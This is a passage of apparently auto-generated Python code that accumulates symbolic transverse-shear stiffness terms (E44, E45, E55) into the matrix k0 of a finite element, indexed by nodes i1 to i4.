k0[i1*dof+2, i1*dof+3] += (Ac1*(0.166666666666667 + a1*d1/(4*Ac1)) + Ac2*(1/2 + 0.0833333333333333*a2*d2/Ac2))*(E44*(Ac1*(d1/(2*Ac1) + 0.166666666666667*(b1 - d1)/Ac1) + Ac2*(0.166666666666667*d2/Ac2 + (b2 - d2)/(2*Ac2))) + E45*(Ac1*(-c1/(2*Ac1) + 0.166666666666667*(-a1 + c1)/Ac1) + Ac2*(-0.166666666666667*c2/Ac2 + (-a2 + c2)/(2*Ac2))))/Ac + (E45*(Ac1*(d1/(2*Ac1) + 0.166666666666667*(b1 - d1)/Ac1) + Ac2*(0.166666666666667*d2/Ac2 + (b2 - d2)/(2*Ac2))) + E55*(Ac1*(-c1/(2*Ac1) + 0.166666666666667*(-a1 + c1)/Ac1) + Ac2*(-0.166666666666667*c2/Ac2 + (-a2 + c2)/(2*Ac2))))*(-a1*c1/4 - 0.0833333333333333*a2*c2)/Ac
k0[i1*dof+2, i1*dof+4] += (Ac1*(0.166666666666667 - b1*c1/(4*Ac1)) + Ac2*(1/2 - 0.0833333333333333*b2*c2/Ac2))*(E45*(Ac1*(d1/(2*Ac1) + 0.166666666666667*(b1 - d1)/Ac1) + Ac2*(0.166666666666667*d2/Ac2 + (b2 - d2)/(2*Ac2))) + E55*(Ac1*(-c1/(2*Ac1) + 0.166666666666667*(-a1 + c1)/Ac1) + Ac2*(-0.166666666666667*c2/Ac2 + (-a2 + c2)/(2*Ac2))))/Ac + (E44*(Ac1*(d1/(2*Ac1) + 0.166666666666667*(b1 - d1)/Ac1) + Ac2*(0.166666666666667*d2/Ac2 + (b2 - d2)/(2*Ac2))) + E45*(Ac1*(-c1/(2*Ac1) + 0.166666666666667*(-a1 + c1)/Ac1) + Ac2*(-0.166666666666667*c2/Ac2 + (-a2 + c2)/(2*Ac2))))*(b1*d1/4 + 0.0833333333333333*b2*d2)/Ac
k0[i1*dof+2, i2*dof+2] += (Ac1*(a1/(2*Ac1) + 0.166666666666667*(-a1 + c1)/Ac1) + Ac2*(a2/(2*Ac2) - 0.166666666666667*c2/Ac2))*(E45*(Ac1*(d1/(2*Ac1) + 0.166666666666667*(b1 - d1)/Ac1) + Ac2*(0.166666666666667*d2/Ac2 + (b2 - d2)/(2*Ac2))) + E55*(Ac1*(-c1/(2*Ac1) + 0.166666666666667*(-a1 + c1)/Ac1) + Ac2*(-0.166666666666667*c2/Ac2 + (-a2 + c2)/(2*Ac2))))/Ac + (Ac1*(-b1/(2*Ac1) + 0.166666666666667*(b1 - d1)/Ac1) + Ac2*(-b2/(2*Ac2) + 0.166666666666667*d2/Ac2))*(E44*(Ac1*(d1/(2*Ac1) + 0.166666666666667*(b1 - d1)/Ac1) + Ac2*(0.166666666666667*d2/Ac2 + (b2 - d2)/(2*Ac2))) + E45*(Ac1*(-c1/(2*Ac1) + 0.166666666666667*(-a1 + c1)/Ac1) + Ac2*(-0.166666666666667*c2/Ac2 + (-a2 + c2)/(2*Ac2))))/Ac
k0[i1*dof+2, i2*dof+3] += (Ac1*(0.166666666666667 - b1*c1/(4*Ac1)) + Ac2*(0.0833333333333333*a2*d2/Ac2 - b2*c2/(4*Ac2)))*(E44*(Ac1*(d1/(2*Ac1) + 0.166666666666667*(b1 - d1)/Ac1) + Ac2*(0.166666666666667*d2/Ac2 + (b2 - d2)/(2*Ac2))) + E45*(Ac1*(-c1/(2*Ac1) + 0.166666666666667*(-a1 + c1)/Ac1) + Ac2*(-0.166666666666667*c2/Ac2 + (-a2 + c2)/(2*Ac2))))/Ac + (E45*(Ac1*(d1/(2*Ac1) + 0.166666666666667*(b1 - d1)/Ac1) + Ac2*(0.166666666666667*d2/Ac2 + (b2 - d2)/(2*Ac2))) + E55*(Ac1*(-c1/(2*Ac1) + 0.166666666666667*(-a1 + c1)/Ac1) + Ac2*(-0.166666666666667*c2/Ac2 + (-a2 + c2)/(2*Ac2))))*(a1*c1/4 + 0.166666666666667*a2*c2)/Ac
k0[i1*dof+2, i2*dof+4] += (Ac1*(0.166666666666667 + a1*d1/(4*Ac1)) + Ac2*(a2*d2/(4*Ac2) - 0.0833333333333333*b2*c2/Ac2))*(E45*(Ac1*(d1/(2*Ac1) + 0.166666666666667*(b1 - d1)/Ac1) + Ac2*(0.166666666666667*d2/Ac2 + (b2 - d2)/(2*Ac2))) + E55*(Ac1*(-c1/(2*Ac1) + 0.166666666666667*(-a1 + c1)/Ac1) + Ac2*(-0.166666666666667*c2/Ac2 + (-a2 + c2)/(2*Ac2))))/Ac + (E44*(Ac1*(d1/(2*Ac1) + 0.166666666666667*(b1 - d1)/Ac1) + Ac2*(0.166666666666667*d2/Ac2 + (b2 - d2)/(2*Ac2))) + E45*(Ac1*(-c1/(2*Ac1) + 0.166666666666667*(-a1 + c1)/Ac1) + Ac2*(-0.166666666666667*c2/Ac2 + (-a2 + c2)/(2*Ac2))))*(-b1*d1/4 - 0.166666666666667*b2*d2)/Ac
k0[i1*dof+2, i3*dof+2] += (-0.166666666666667*a1 + 0.166666666666667*c1)*(E45*(Ac1*(d1/(2*Ac1) + 0.166666666666667*(b1 - d1)/Ac1) + Ac2*(0.166666666666667*d2/Ac2 + (b2 - d2)/(2*Ac2))) + E55*(Ac1*(-c1/(2*Ac1) + 0.166666666666667*(-a1 + c1)/Ac1) + Ac2*(-0.166666666666667*c2/Ac2 + (-a2 + c2)/(2*Ac2))))/Ac + (0.166666666666667*b1 - 0.166666666666667*d1)*(E44*(Ac1*(d1/(2*Ac1) + 0.166666666666667*(b1 - d1)/Ac1) + Ac2*(0.166666666666667*d2/Ac2 + (b2 - d2)/(2*Ac2))) + E45*(Ac1*(-c1/(2*Ac1) + 0.166666666666667*(-a1 + c1)/Ac1) + Ac2*(-0.166666666666667*c2/Ac2 + (-a2 + c2)/(2*Ac2))))/Ac
k0[i1*dof+2, i3*dof+3] += 0.166666666666667*Ac1*(E44*(Ac1*(d1/(2*Ac1) + 0.166666666666667*(b1 - d1)/Ac1) + Ac2*(0.166666666666667*d2/Ac2 + (b2 - d2)/(2*Ac2))) + E45*(Ac1*(-c1/(2*Ac1) + 0.166666666666667*(-a1 + c1)/Ac1) + Ac2*(-0.166666666666667*c2/Ac2 + (-a2 + c2)/(2*Ac2))))/Ac
k0[i1*dof+2, i3*dof+4] += 0.166666666666667*Ac1*(E45*(Ac1*(d1/(2*Ac1) + 0.166666666666667*(b1 - d1)/Ac1) + Ac2*(0.166666666666667*d2/Ac2 + (b2 - d2)/(2*Ac2))) + E55*(Ac1*(-c1/(2*Ac1) + 0.166666666666667*(-a1 + c1)/Ac1) + Ac2*(-0.166666666666667*c2/Ac2 + (-a2 + c2)/(2*Ac2))))/Ac
k0[i1*dof+2, i4*dof+2] += -0.166666666666667*c2*(E45*(Ac1*(d1/(2*Ac1) + 0.166666666666667*(b1 - d1)/Ac1) + Ac2*(0.166666666666667*d2/Ac2 + (b2 - d2)/(2*Ac2))) + E55*(Ac1*(-c1/(2*Ac1) + 0.166666666666667*(-a1 + c1)/Ac1) + Ac2*(-0.166666666666667*c2/Ac2 + (-a2 + c2)/(2*Ac2))))/Ac + 0.166666666666667*d2*(E44*(Ac1*(d1/(2*Ac1) + 0.166666666666667*(b1 - d1)/Ac1) + Ac2*(0.166666666666667*d2/Ac2 + (b2 - d2)/(2*Ac2))) + E45*(Ac1*(-c1/(2*Ac1) + 0.166666666666667*(-a1 + c1)/Ac1) + Ac2*(-0.166666666666667*c2/Ac2 + (-a2 + c2)/(2*Ac2))))/Ac
k0[i1*dof+2, i4*dof+3] += -0.0833333333333333*a2*c2*(E45*(Ac1*(d1/(2*Ac1) + 0.166666666666667*(b1 - d1)/Ac1) + Ac2*(0.166666666666667*d2/Ac2 + (b2 - d2)/(2*Ac2))) + E55*(Ac1*(-c1/(2*Ac1) + 0.166666666666667*(-a1 + c1)/Ac1) + Ac2*(-0.166666666666667*c2/Ac2 + (-a2 + c2)/(2*Ac2))))/Ac + 0.0833333333333333*a2*d2*(E44*(Ac1*(d1/(2*Ac1) + 0.166666666666667*(b1 - d1)/Ac1) + Ac2*(0.166666666666667*d2/Ac2 + (b2 - d2)/(2*Ac2))) + E45*(Ac1*(-c1/(2*Ac1) + 0.166666666666667*(-a1 + c1)/Ac1) + Ac2*(-0.166666666666667*c2/Ac2 + (-a2 + c2)/(2*Ac2))))/Ac
k0[i1*dof+2, i4*dof+4] += -0.0833333333333333*b2*c2*(E45*(Ac1*(d1/(2*Ac1) + 0.166666666666667*(b1 - d1)/Ac1) + Ac2*(0.166666666666667*d2/Ac2 + (b2 - d2)/(2*Ac2))) + E55*(Ac1*(-c1/(2*Ac1) + 0.166666666666667*(-a1 + c1)/Ac1) + Ac2*(-0.166666666666667*c2/Ac2 + (-a2 + c2)/(2*Ac2))))/Ac + 0.0833333333333333*b2*d2*(E44*(Ac1*(d1/(2*Ac1) + 0.166666666666667*(b1 - d1)/Ac1) + Ac2*(0.166666666666667*d2/Ac2 + (b2 - d2)/(2*Ac2))) + E45*(Ac1*(-c1/(2*Ac1) + 0.166666666666667*(-a1 + c1)/Ac1) + Ac2*(-0.166666666666667*c2/Ac2 + (-a2 + c2)/(2*Ac2))))/Ac
k0[i1*dof+3, i1*dof+2] += (Ac1*(-c1/(2*Ac1) + 0.166666666666667*(-a1 + c1)/Ac1) + Ac2*(-0.166666666666667*c2/Ac2 + (-a2 + c2)/(2*Ac2)))*(E45*(Ac1*(0.166666666666667 + a1*d1/(4*Ac1)) + Ac2*(1/2 + 0.0833333333333333*a2*d2/Ac2)) + E55*(-a1*c1/4 - 0.0833333333333333*a2*c2))/Ac + (Ac1*(d1/(2*Ac1) + 0.166666666666667*(b1 - d1)/Ac1) + Ac2*(0.166666666666667*d2/Ac2 + (b2 - d2)/(2*Ac2)))*(E44*(Ac1*(0.166666666666667 + a1*d1/(4*Ac1)) + Ac2*(1/2 + 0.0833333333333333*a2*d2/Ac2)) + E45*(-a1*c1/4 - 0.0833333333333333*a2*c2))/Ac
k0[i1*dof+3, i1*dof+3] += (Ac1*(0.166666666666667 + a1*d1/(4*Ac1)) + Ac2*(1/2 + 0.0833333333333333*a2*d2/Ac2))*(E44*(Ac1*(0.166666666666667 + a1*d1/(4*Ac1)) + Ac2*(1/2 + 0.0833333333333333*a2*d2/Ac2)) + E45*(-a1*c1/4 - 0.0833333333333333*a2*c2))/Ac + (E45*(Ac1*(0.166666666666667 + a1*d1/(4*Ac1)) + Ac2*(1/2 + 0.0833333333333333*a2*d2/Ac2)) + E55*(-a1*c1/4 - 0.0833333333333333*a2*c2))*(-a1*c1/4 - 0.0833333333333333*a2*c2)/Ac
k0[i1*dof+3, i1*dof+4] += (Ac1*(0.166666666666667 - b1*c1/(4*Ac1)) + Ac2*(1/2 - 0.0833333333333333*b2*c2/Ac2))*(E45*(Ac1*(0.166666666666667 + a1*d1/(4*Ac1)) + Ac2*(1/2 + 0.0833333333333333*a2*d2/Ac2)) + E55*(-a1*c1/4 - 0.0833333333333333*a2*c2))/Ac + (E44*(Ac1*(0.166666666666667 + a1*d1/(4*Ac1)) + Ac2*(1/2 + 0.0833333333333333*a2*d2/Ac2)) + E45*(-a1*c1/4 - 0.0833333333333333*a2*c2))*(b1*d1/4 + 0.0833333333333333*b2*d2)/Ac
k0[i1*dof+3, i2*dof+2] += (Ac1*(a1/(2*Ac1) + 0.166666666666667*(-a1 + c1)/Ac1) + Ac2*(a2/(2*Ac2) - 0.166666666666667*c2/Ac2))*(E45*(Ac1*(0.166666666666667 + a1*d1/(4*Ac1)) + Ac2*(1/2 + 0.0833333333333333*a2*d2/Ac2)) + E55*(-a1*c1/4 - 0.0833333333333333*a2*c2))/Ac + (Ac1*(-b1/(2*Ac1) + 0.166666666666667*(b1 - d1)/Ac1) + Ac2*(-b2/(2*Ac2) + 0.166666666666667*d2/Ac2))*(E44*(Ac1*(0.166666666666667 + a1*d1/(4*Ac1)) + Ac2*(1/2 + 0.0833333333333333*a2*d2/Ac2)) + E45*(-a1*c1/4 - 0.0833333333333333*a2*c2))/Ac
k0[i1*dof+3, i2*dof+3] += (Ac1*(0.166666666666667 - b1*c1/(4*Ac1)) + Ac2*(0.0833333333333333*a2*d2/Ac2 - b2*c2/(4*Ac2)))*(E44*(Ac1*(0.166666666666667 + a1*d1/(4*Ac1)) + Ac2*(1/2 + 0.0833333333333333*a2*d2/Ac2)) + E45*(-a1*c1/4 - 0.0833333333333333*a2*c2))/Ac + (E45*(Ac1*(0.166666666666667 + a1*d1/(4*Ac1)) + Ac2*(1/2 + 0.0833333333333333*a2*d2/Ac2)) + E55*(-a1*c1/4 - 0.0833333333333333*a2*c2))*(a1*c1/4 + 0.166666666666667*a2*c2)/Ac
k0[i1*dof+3, i2*dof+4] += (Ac1*(0.166666666666667 + a1*d1/(4*Ac1)) + Ac2*(a2*d2/(4*Ac2) - 0.0833333333333333*b2*c2/Ac2))*(E45*(Ac1*(0.166666666666667 + a1*d1/(4*Ac1)) + Ac2*(1/2 + 0.0833333333333333*a2*d2/Ac2)) + E55*(-a1*c1/4 - 0.0833333333333333*a2*c2))/Ac + (E44*(Ac1*(0.166666666666667 + a1*d1/(4*Ac1)) + Ac2*(1/2 + 0.0833333333333333*a2*d2/Ac2)) + E45*(-a1*c1/4 - 0.0833333333333333*a2*c2))*(-b1*d1/4 - 0.166666666666667*b2*d2)/Ac
k0[i1*dof+3, i3*dof+2] += (-0.166666666666667*a1 + 0.166666666666667*c1)*(E45*(Ac1*(0.166666666666667 + a1*d1/(4*Ac1)) + Ac2*(1/2 + 0.0833333333333333*a2*d2/Ac2)) + E55*(-a1*c1/4 - 0.0833333333333333*a2*c2))/Ac + (0.166666666666667*b1 - 0.166666666666667*d1)*(E44*(Ac1*(0.166666666666667 + a1*d1/(4*Ac1)) + Ac2*(1/2 + 0.0833333333333333*a2*d2/Ac2)) + E45*(-a1*c1/4 - 0.0833333333333333*a2*c2))/Ac
k0[i1*dof+3, i3*dof+3] += 0.166666666666667*Ac1*(E44*(Ac1*(0.166666666666667 + a1*d1/(4*Ac1)) + Ac2*(1/2 + 0.0833333333333333*a2*d2/Ac2)) + E45*(-a1*c1/4 - 0.0833333333333333*a2*c2))/Ac
k0[i1*dof+3, i3*dof+4] += 0.166666666666667*Ac1*(E45*(Ac1*(0.166666666666667 + a1*d1/(4*Ac1)) + Ac2*(1/2 + 0.0833333333333333*a2*d2/Ac2)) + E55*(-a1*c1/4 - 0.0833333333333333*a2*c2))/Ac
k0[i1*dof+3, i4*dof+2] += -0.166666666666667*c2*(E45*(Ac1*(0.166666666666667 + a1*d1/(4*Ac1)) + Ac2*(1/2 + 0.0833333333333333*a2*d2/Ac2)) + E55*(-a1*c1/4 - 0.0833333333333333*a2*c2))/Ac + 0.166666666666667*d2*(E44*(Ac1*(0.166666666666667 + a1*d1/(4*Ac1)) + Ac2*(1/2 + 0.0833333333333333*a2*d2/Ac2)) + E45*(-a1*c1/4 - 0.0833333333333333*a2*c2))/Ac
k0[i1*dof+3, i4*dof+3] += -0.0833333333333333*a2*c2*(E45*(Ac1*(0.166666666666667 + a1*d1/(4*Ac1)) + Ac2*(1/2 + 0.0833333333333333*a2*d2/Ac2)) + E55*(-a1*c1/4 - 0.0833333333333333*a2*c2))/Ac + 0.0833333333333333*a2*d2*(E44*(Ac1*(0.166666666666667 + a1*d1/(4*Ac1)) + Ac2*(1/2 + 0.0833333333333333*a2*d2/Ac2)) + E45*(-a1*c1/4 - 0.0833333333333333*a2*c2))/Ac
k0[i1*dof+3, i4*dof+4] += -0.0833333333333333*b2*c2*(E45*(Ac1*(0.166666666666667 + a1*d1/(4*Ac1)) + Ac2*(1/2 + 0.0833333333333333*a2*d2/Ac2)) + E55*(-a1*c1/4 - 0.0833333333333333*a2*c2))/Ac + 0.0833333333333333*b2*d2*(E44*(Ac1*(0.166666666666667 + a1*d1/(4*Ac1)) + Ac2*(1/2 + 0.0833333333333333*a2*d2/Ac2)) + E45*(-a1*c1/4 - 0.0833333333333333*a2*c2))/Ac
k0[i1*dof+4, i1*dof+2] += (Ac1*(-c1/(2*Ac1) + 0.166666666666667*(-a1 + c1)/Ac1) + Ac2*(-0.166666666666667*c2/Ac2 + (-a2 + c2)/(2*Ac2)))*(E45*(b1*d1/4 + 0.0833333333333333*b2*d2) + E55*(Ac1*(0.166666666666667 - b1*c1/(4*Ac1)) + Ac2*(1/2 - 0.0833333333333333*b2*c2/Ac2)))/Ac + (Ac1*(d1/(2*Ac1) + 0.166666666666667*(b1 - d1)/Ac1) + Ac2*(0.166666666666667*d2/Ac2 + (b2 - d2)/(2*Ac2)))*(E44*(b1*d1/4 + 0.0833333333333333*b2*d2) + E45*(Ac1*(0.166666666666667 - b1*c1/(4*Ac1)) + Ac2*(1/2 - 0.0833333333333333*b2*c2/Ac2)))/Ac
k0[i1*dof+4, i1*dof+3] += (Ac1*(0.166666666666667 + a1*d1/(4*Ac1)) + Ac2*(1/2 + 0.0833333333333333*a2*d2/Ac2))*(E44*(b1*d1/4 + 0.0833333333333333*b2*d2) + E45*(Ac1*(0.166666666666667 - b1*c1/(4*Ac1)) + Ac2*(1/2 - 0.0833333333333333*b2*c2/Ac2)))/Ac + (E45*(b1*d1/4 + 0.0833333333333333*b2*d2) + E55*(Ac1*(0.166666666666667 - b1*c1/(4*Ac1)) + Ac2*(1/2 - 0.0833333333333333*b2*c2/Ac2)))*(-a1*c1/4 - 0.0833333333333333*a2*c2)/Ac
k0[i1*dof+4, i1*dof+4] += (Ac1*(0.166666666666667 - b1*c1/(4*Ac1)) + Ac2*(1/2 - 0.0833333333333333*b2*c2/Ac2))*(E45*(b1*d1/4 + 0.0833333333333333*b2*d2) + E55*(Ac1*(0.166666666666667 - b1*c1/(4*Ac1)) + Ac2*(1/2 - 0.0833333333333333*b2*c2/Ac2)))/Ac + (E44*(b1*d1/4 + 0.0833333333333333*b2*d2) + E45*(Ac1*(0.166666666666667 - b1*c1/(4*Ac1)) + Ac2*(1/2 - 0.0833333333333333*b2*c2/Ac2)))*(b1*d1/4 + 0.0833333333333333*b2*d2)/Ac
k0[i1*dof+4, i2*dof+2] += (Ac1*(a1/(2*Ac1) + 0.166666666666667*(-a1 + c1)/Ac1) + Ac2*(a2/(2*Ac2) - 0.166666666666667*c2/Ac2))*(E45*(b1*d1/4 + 0.0833333333333333*b2*d2) + E55*(Ac1*(0.166666666666667 - b1*c1/(4*Ac1)) + Ac2*(1/2 - 0.0833333333333333*b2*c2/Ac2)))/Ac + (Ac1*(-b1/(2*Ac1) + 0.166666666666667*(b1 - d1)/Ac1) + Ac2*(-b2/(2*Ac2) + 0.166666666666667*d2/Ac2))*(E44*(b1*d1/4 + 0.0833333333333333*b2*d2) + E45*(Ac1*(0.166666666666667 - b1*c1/(4*Ac1)) + Ac2*(1/2 - 0.0833333333333333*b2*c2/Ac2)))/Ac
k0[i1*dof+4, i2*dof+3] += (Ac1*(0.166666666666667 - b1*c1/(4*Ac1)) + Ac2*(0.0833333333333333*a2*d2/Ac2 - b2*c2/(4*Ac2)))*(E44*(b1*d1/4 + 0.0833333333333333*b2*d2) + E45*(Ac1*(0.166666666666667 - b1*c1/(4*Ac1)) + Ac2*(1/2 - 0.0833333333333333*b2*c2/Ac2)))/Ac + (E45*(b1*d1/4 + 0.0833333333333333*b2*d2) + E55*(Ac1*(0.166666666666667 - b1*c1/(4*Ac1)) + Ac2*(1/2 - 0.0833333333333333*b2*c2/Ac2)))*(a1*c1/4 + 0.166666666666667*a2*c2)/Ac
k0[i1*dof+4, i2*dof+4] += (Ac1*(0.166666666666667 + a1*d1/(4*Ac1)) + Ac2*(a2*d2/(4*Ac2) - 0.0833333333333333*b2*c2/Ac2))*(E45*(b1*d1/4 + 0.0833333333333333*b2*d2) + E55*(Ac1*(0.166666666666667 - b1*c1/(4*Ac1)) + Ac2*(1/2 - 0.0833333333333333*b2*c2/Ac2)))/Ac + (E44*(b1*d1/4 + 0.0833333333333333*b2*d2) + E45*(Ac1*(0.166666666666667 - b1*c1/(4*Ac1)) + Ac2*(1/2 - 0.0833333333333333*b2*c2/Ac2)))*(-b1*d1/4 - 0.166666666666667*b2*d2)/Ac
k0[i1*dof+4, i3*dof+2] += (-0.166666666666667*a1 + 0.166666666666667*c1)*(E45*(b1*d1/4 + 0.0833333333333333*b2*d2) + E55*(Ac1*(0.166666666666667 - b1*c1/(4*Ac1)) + Ac2*(1/2 - 0.0833333333333333*b2*c2/Ac2)))/Ac + (0.166666666666667*b1 - 0.166666666666667*d1)*(E44*(b1*d1/4 + 0.0833333333333333*b2*d2) + E45*(Ac1*(0.166666666666667 - b1*c1/(4*Ac1)) + Ac2*(1/2 - 0.0833333333333333*b2*c2/Ac2)))/Ac
k0[i1*dof+4, i3*dof+3] += 0.166666666666667*Ac1*(E44*(b1*d1/4 + 0.0833333333333333*b2*d2) + E45*(Ac1*(0.166666666666667 - b1*c1/(4*Ac1)) + Ac2*(1/2 - 0.0833333333333333*b2*c2/Ac2)))/Ac
k0[i1*dof+4, i3*dof+4] += 0.166666666666667*Ac1*(E45*(b1*d1/4 + 0.0833333333333333*b2*d2) + E55*(Ac1*(0.166666666666667 - b1*c1/(4*Ac1)) + Ac2*(1/2 - 0.0833333333333333*b2*c2/Ac2)))/Ac
k0[i1*dof+4, i4*dof+2] += -0.166666666666667*c2*(E45*(b1*d1/4 + 0.0833333333333333*b2*d2) + E55*(Ac1*(0.166666666666667 - b1*c1/(4*Ac1)) + Ac2*(1/2 - 0.0833333333333333*b2*c2/Ac2)))/Ac + 0.166666666666667*d2*(E44*(b1*d1/4 + 0.0833333333333333*b2*d2) + E45*(Ac1*(0.166666666666667 - b1*c1/(4*Ac1)) + Ac2*(1/2 - 0.0833333333333333*b2*c2/Ac2)))/Ac
k0[i1*dof+4, i4*dof+3] += -0.0833333333333333*a2*c2*(E45*(b1*d1/4 + 0.0833333333333333*b2*d2) + E55*(Ac1*(0.166666666666667 - b1*c1/(4*Ac1)) + Ac2*(1/2 - 0.0833333333333333*b2*c2/Ac2)))/Ac + 0.0833333333333333*a2*d2*(E44*(b1*d1/4 + 0.0833333333333333*b2*d2) + E45*(Ac1*(0.166666666666667 - b1*c1/(4*Ac1)) + Ac2*(1/2 - 0.0833333333333333*b2*c2/Ac2)))/Ac
k0[i1*dof+4, i4*dof+4] += -0.0833333333333333*b2*c2*(E45*(b1*d1/4 + 0.0833333333333333*b2*d2) + E55*(Ac1*(0.166666666666667 - b1*c1/(4*Ac1)) + Ac2*(1/2 - 0.0833333333333333*b2*c2/Ac2)))/Ac + 0.0833333333333333*b2*d2*(E44*(b1*d1/4 + 0.0833333333333333*b2*d2) + E45*(Ac1*(0.166666666666667 - b1*c1/(4*Ac1)) + Ac2*(1/2 - 0.0833333333333333*b2*c2/Ac2)))/Ac
k0[i2*dof+2, i1*dof+2] += (Ac1*(-c1/(2*Ac1) + 0.166666666666667*(-a1 + c1)/Ac1) + Ac2*(-0.166666666666667*c2/Ac2 + (-a2 + c2)/(2*Ac2)))*(E45*(Ac1*(-b1/(2*Ac1) + 0.166666666666667*(b1 - d1)/Ac1) + Ac2*(-b2/(2*Ac2) + 0.166666666666667*d2/Ac2)) + E55*(Ac1*(a1/(2*Ac1) + 0.166666666666667*(-a1 + c1)/Ac1) + Ac2*(a2/(2*Ac2) - 0.166666666666667*c2/Ac2)))/Ac + (Ac1*(d1/(2*Ac1) + 0.166666666666667*(b1 - d1)/Ac1) + Ac2*(0.166666666666667*d2/Ac2 + (b2 - d2)/(2*Ac2)))*(E44*(Ac1*(-b1/(2*Ac1) + 0.166666666666667*(b1 - d1)/Ac1) + Ac2*(-b2/(2*Ac2) + 0.166666666666667*d2/Ac2)) + E45*(Ac1*(a1/(2*Ac1) + 0.166666666666667*(-a1 + c1)/Ac1) + Ac2*(a2/(2*Ac2) - 0.166666666666667*c2/Ac2)))/Ac
k0[i2*dof+2, i1*dof+3] += (Ac1*(0.166666666666667 + a1*d1/(4*Ac1)) + Ac2*(1/2 + 0.0833333333333333*a2*d2/Ac2))*(E44*(Ac1*(-b1/(2*Ac1) + 0.166666666666667*(b1 - d1)/Ac1) + Ac2*(-b2/(2*Ac2) + 0.166666666666667*d2/Ac2)) + E45*(Ac1*(a1/(2*Ac1) + 0.166666666666667*(-a1 + c1)/Ac1) + Ac2*(a2/(2*Ac2) - 0.166666666666667*c2/Ac2)))/Ac + (E45*(Ac1*(-b1/(2*Ac1) + 0.166666666666667*(b1 - d1)/Ac1) + Ac2*(-b2/(2*Ac2) + 0.166666666666667*d2/Ac2)) + E55*(Ac1*(a1/(2*Ac1) + 0.166666666666667*(-a1 + c1)/Ac1) + Ac2*(a2/(2*Ac2) - 0.166666666666667*c2/Ac2)))*(-a1*c1/4 - 0.0833333333333333*a2*c2)/Ac
k0[i2*dof+2, i1*dof+4] += (Ac1*(0.166666666666667 - b1*c1/(4*Ac1)) + Ac2*(1/2 - 0.0833333333333333*b2*c2/Ac2))*(E45*(Ac1*(-b1/(2*Ac1) + 0.166666666666667*(b1 - d1)/Ac1) + Ac2*(-b2/(2*Ac2) + 0.166666666666667*d2/Ac2)) + E55*(Ac1*(a1/(2*Ac1) + 0.166666666666667*(-a1 + c1)/Ac1) + Ac2*(a2/(2*Ac2) - 0.166666666666667*c2/Ac2)))/Ac + (E44*(Ac1*(-b1/(2*Ac1) + 0.166666666666667*(b1 - d1)/Ac1) + Ac2*(-b2/(2*Ac2) + 0.166666666666667*d2/Ac2)) + E45*(Ac1*(a1/(2*Ac1) + 0.166666666666667*(-a1 + c1)/Ac1) + Ac2*(a2/(2*Ac2) - 0.166666666666667*c2/Ac2)))*(b1*d1/4 + 0.0833333333333333*b2*d2)/Ac
k0[i2*dof+2, i2*dof+2] += (Ac1*(a1/(2*Ac1) + 0.166666666666667*(-a1 + c1)/Ac1) + Ac2*(a2/(2*Ac2) - 0.166666666666667*c2/Ac2))*(E45*(Ac1*(-b1/(2*Ac1) + 0.166666666666667*(b1 - d1)/Ac1) + Ac2*(-b2/(2*Ac2) + 0.166666666666667*d2/Ac2)) + E55*(Ac1*(a1/(2*Ac1) + 0.166666666666667*(-a1 + c1)/Ac1) + Ac2*(a2/(2*Ac2) - 0.166666666666667*c2/Ac2)))/Ac + (Ac1*(-b1/(2*Ac1) + 0.166666666666667*(b1 - d1)/Ac1) + Ac2*(-b2/(2*Ac2) + 0.166666666666667*d2/Ac2))*(E44*(Ac1*(-b1/(2*Ac1) + 0.166666666666667*(b1 - d1)/Ac1) + Ac2*(-b2/(2*Ac2) + 0.166666666666667*d2/Ac2)) + E45*(Ac1*(a1/(2*Ac1) + 0.166666666666667*(-a1 + c1)/Ac1) + Ac2*(a2/(2*Ac2) - 0.166666666666667*c2/Ac2)))/Ac
k0[i2*dof+2, i2*dof+3] += (Ac1*(0.166666666666667 - b1*c1/(4*Ac1)) + Ac2*(0.0833333333333333*a2*d2/Ac2 - b2*c2/(4*Ac2)))*(E44*(Ac1*(-b1/(2*Ac1) + 0.166666666666667*(b1 - d1)/Ac1) + Ac2*(-b2/(2*Ac2) + 0.166666666666667*d2/Ac2)) + E45*(Ac1*(a1/(2*Ac1) + 0.166666666666667*(-a1 + c1)/Ac1) + Ac2*(a2/(2*Ac2) - 0.166666666666667*c2/Ac2)))/Ac + (E45*(Ac1*(-b1/(2*Ac1) + 0.166666666666667*(b1 - d1)/Ac1) + Ac2*(-b2/(2*Ac2) + 0.166666666666667*d2/Ac2)) + E55*(Ac1*(a1/(2*Ac1) + 0.166666666666667*(-a1 + c1)/Ac1) + Ac2*(a2/(2*Ac2) - 0.166666666666667*c2/Ac2)))*(a1*c1/4 + 0.166666666666667*a2*c2)/Ac
k0[i2*dof+2, i2*dof+4] += (Ac1*(0.166666666666667 + a1*d1/(4*Ac1)) + Ac2*(a2*d2/(4*Ac2) - 0.0833333333333333*b2*c2/Ac2))*(E45*(Ac1*(-b1/(2*Ac1) + 0.166666666666667*(b1 - d1)/Ac1) + Ac2*(-b2/(2*Ac2) + 0.166666666666667*d2/Ac2)) + E55*(Ac1*(a1/(2*Ac1) + 0.166666666666667*(-a1 + c1)/Ac1) + Ac2*(a2/(2*Ac2) - 0.166666666666667*c2/Ac2)))/Ac + (E44*(Ac1*(-b1/(2*Ac1) + 0.166666666666667*(b1 - d1)/Ac1) + Ac2*(-b2/(2*Ac2) + 0.166666666666667*d2/Ac2)) + E45*(Ac1*(a1/(2*Ac1) + 0.166666666666667*(-a1 + c1)/Ac1) + Ac2*(a2/(2*Ac2) - 0.166666666666667*c2/Ac2)))*(-b1*d1/4 - 0.166666666666667*b2*d2)/Ac
k0[i2*dof+2, i3*dof+2] += (-0.166666666666667*a1 + 0.166666666666667*c1)*(E45*(Ac1*(-b1/(2*Ac1) + 0.166666666666667*(b1 - d1)/Ac1) + Ac2*(-b2/(2*Ac2) + 0.166666666666667*d2/Ac2)) + E55*(Ac1*(a1/(2*Ac1) + 0.166666666666667*(-a1 + c1)/Ac1) + Ac2*(a2/(2*Ac2) - 0.166666666666667*c2/Ac2)))/Ac + (0.166666666666667*b1 - 0.166666666666667*d1)*(E44*(Ac1*(-b1/(2*Ac1) + 0.166666666666667*(b1 - d1)/Ac1) + Ac2*(-b2/(2*Ac2) + 0.166666666666667*d2/Ac2)) + E45*(Ac1*(a1/(2*Ac1) + 0.166666666666667*(-a1 + c1)/Ac1) + Ac2*(a2/(2*Ac2) - 0.166666666666667*c2/Ac2)))/Ac
